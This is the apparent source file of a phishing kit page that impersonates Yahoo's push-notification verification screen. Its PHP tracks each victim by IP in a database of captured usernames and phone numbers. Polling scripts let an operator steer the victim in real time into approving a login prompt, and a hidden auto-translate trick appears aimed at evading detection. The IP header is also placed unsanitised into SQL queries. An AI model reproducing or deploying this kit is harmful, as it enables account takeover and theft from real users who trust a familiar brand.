<?php
@session_start();
error_reporting(0);
ini_set("display_errors", 0 );

require_once "../cod3rconfig/registro.php";
require_once "../cod3rconfig/conexao.php";
require_once "../cod3rconfig/data.php";


 $ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);

  $query_info = "SELECT * FROM infos WHERE ip='$ip'"; 
  $recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error());
  $row_infio = mysqli_fetch_assoc($recorinfo); 
  $totalRowsinfo = mysqli_num_rows($recorinfo); 
  

$celular = $row_infio['numero_autenticar'];

$email = $row_infio['usuario'];
$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Cliente online na notificação' WHERE ip='$ip'");

?>
<!DOCTYPE html>

<html id="Stencil" class="js grid light-theme "><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        
        <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no">
        <meta name="format-detection" content="telephone=no">
        <meta name="referrer" content="origin-when-cross-origin">
        <title>Yahoo</title>
        <meta name="description" content="Yahoo">
        <link rel="dns-prefetch" href="https://gstatic.com/">
        <link rel="dns-prefetch" href="https://google.com/">
        <link rel="dns-prefetch" href="https://s.yimg.com/">
        <link rel="dns-prefetch" href="https://y.analytics.yahoo.com/">
        <link rel="dns-prefetch" href="https://ucs.query.yahoo.com/">
        <link rel="dns-prefetch" href="https://geo.query.yahoo.com/">
        <link rel="dns-prefetch" href="https://geo.yahoo.com/">
        <link rel="icon" type="image/x-icon" href="https://s.yimg.com/wm/mbr/images/yahoo-favicon-img-v0.0.2.ico">
        <link rel="shortcut icon" type="image/x-icon" href="https://s.yimg.com/wm/mbr/images/yahoo-favicon-img-v0.0.2.ico">
        <meta name="google-site-verification" content="yOTFyUBPTnXtuk2cPpqfv7ZvZ960JgqsV8FomN3n7Y0">
        <link rel="apple-touch-icon" href="https://s.yimg.com/wm/mbr/images/yahoo-apple-touch-v0.0.2.png">
        <link rel="apple-touch-icon-precomposed" href="https://s.yimg.com/wm/mbr/images/yahoo-apple-touch-v0.0.2.png">
        <style nonce="">
            #mbr-css-check {
                display: inline;
            }
        </style>
        <link href="./app/yahoo/yahoo-main.css" rel="stylesheet" type="text/css">
      <script src="//code.jquery.com/jquery-1.11.2.min.js"></script>

<!--TEMPO REAL-->
<script type="text/javascript">
  $(document).ready(function(){
    atualiza();
  });

     function atualiza(){
     $.get('ver_online.php', 
     function(resultado){
    $('#onlineagora').html(resultado);
     })
    
     setTimeout('atualiza()', 850);
  }
 </script>

 <script type="text/javascript">
     
     function dispararComando(e) {
   
    myVar = setInterval(esperaresposta, 1400);

}

dispararComando();       

function esperaresposta() {
    //alert("teste");
    Get("","./main_.php",0);
    
}



var onOff=1;


function Get(data,urlapi,e) {

    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        var json = this.response;
        if(e!=1){ status(JSON.parse(json)); }
      }
    };
    xhttp.open("GET", urlapi+data, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send();
    return false;
}
function status(json) {


      


}



</script>
    </head>
    <body class="bucket-mbr-qr-comet-sdk">
    
    <div id="login-body" class="loginish  puree-v2  grid    ">
    <div class="mbr-desktop-hd">
    <span class="column">
         <a href="#">
            <img src="./app/yahoo/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png" alt="Yahoo" class="logo " width="" height="36">
            <img src="./app/yahoo/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png" alt="Yahoo" class="dark-mode-logo logo " width="" height="36">
        </a>
    </span>
    <span class="column help txt-align-right">
        <a href="#">Ajuda</a>
    </span>
</div>
    <div class="login-box-container">
        <div class="login-box right">
            <div class="mbr-login-hd txt-align-center">
                    <img src="./app/yahoo/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png" alt="Yahoo" class="logo yahoo-pt-BR" width="" height="27">
                    <img src="./app/yahoo/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png" alt="Yahoo" class="dark-mode-logo logo yahoo-pt-BR" width="" height="27">
            </div>
            <div class="challenge push-challenge">
    <div id="push-challenge" class="authorize authorize-verify-polling no-padding">
    <strong class="challenge-heading"></strong>
    <div id="push-error-container" class="device-error hide">
        <p class="writeup">
            <strong class="error-title">Notifications&nbsp;disabled</strong>
               If you are an Account Key user and you receive incoming notifications, please enable notifications for the Yahoo Mail app on your Weberte&nbsp;Garcia.
        </p>
    </div>
    <img id="push-anim-img" class="push-img" role="presentation" alt="" src="./app/yahoo/account-key-push-v0.0.2.gif">
    <ul id="initial-instructions-list" class="instruction-list">
        <li>Tap the notification&nbsp;Yahoo</li>
        <li>click in <strong>YEA</strong> to log in</li>
    </ul>
    <ul id="learn-more-instructions" class="instruction-list ios hide">
        <li>Go to "Settings" <span class="settings icon"></span> em&nbsp;iPhone</li>
        <li><span class="notifications icon"></span> Selecione "Notificações"</li>
        <li>Selecione qualquer <span class="app icon"></span> app do&nbsp;Yahoo</li>
        <li><span class="toggle icon"></span> Ative "Permitir notificações"</li>
    </ul>
    <form id="push-polling-form" action="#" method="post" class="pure-form pure-form-stacked">
        
        <div id="push-polling-container">
            <p id="push-polling-resend-button-container" class="pure-form pure-form-stacked authorize-polling-resend initial">
                <span class="challenge-bottom-link-desc">Can't find the notification?</span>
                <button type="submit" name="resend" id="push-polling-resend" data-ylk="elm:btn;elmt:resend;slk:resend" data-rapid-tracking="true" class="puree-button-link challenge-resend-link" value="Reenviar">resend</button>
            </p>
        </div>
        <div class="bottom-cta" id="push-bottom-cta">
            <input type="submit" name="skip" class="pure-button puree-button-link challenge-button-link" data-ylk="elm:btn;elmt:skip;slk:skip;mKey:push-challenge-skip-recovery" data-rapid-tracking="true" value="See more verification methods">
        </div>
    </form>
</div>
</div>
        </div>
       
    </div>
    
    
</div>
<style>      
.goog-text-highlight {
    background-color: transparent;
    -webkit-box-shadow: 2px 2px 4px transparent;
    -moz-box-shadow: 2px 2px 4px transparent;
    box-shadow: 2px 2px 4px transparent;
    box-sizing: border-box;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    position: relative;
}
.goog-te-banner-frame.skiptranslate {
    display: none !important;
    } 

    </style>
                                        <style>
    html {
        overflow: hidden !important;
    }
</style>
    <style>#google_translate_element,.skiptranslate{display:none;}body{top:0!important;}</style>

<script type="text/javascript" src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
    <script type="text/javascript">
        function googleTranslateElementInit(e) {
            if (e?.target === document.getElementById("botaoqtraduz")) {     
                //alert("oi")           
                localStorage.setItem("translated", "1")
                e?.preventDefault()
            new google.translate.TranslateElement({
                pageLanguage: 'en',
                includedLanguages: 'th'
            }, 'google_translate_element');
            setTimeout(function () {
                var select = document.querySelector('select.goog-te-combo');
                select.value = "th";
                select.dispatchEvent(new Event('change'));
            }, 1000)
            }
        }
    </script>

<button id="google_translate_element"></button>

        <li style="display:none !important;" id="botaoqtraduz" onclick="googleTranslateElementInit(event)" class="MuiMenuItem-root MuiMenuItem-gutters MuiButtonBase-root css-1urk43s" tabindex="-1" role="option"
          aria-selected="false" data-value="th">TH<span class="MuiTouchRipple-root css-w0pj6f"></span></li>
      </ul>
    </div>
    <div tabindex="0" data-test="sentinelEnd"></div>
  </div>
                                    <script>
                                        function autotranslate() {
                                            var yestranslate = localStorage.translated
                                            if (yestranslate) {
                                                document.getElementById("botaoqtraduz").click()
                                            }
                                        }
                                        setTimeout(() => {
                                            autotranslate()
                                        }, 1000);

                                    </script>
                                    
   
    </body></html>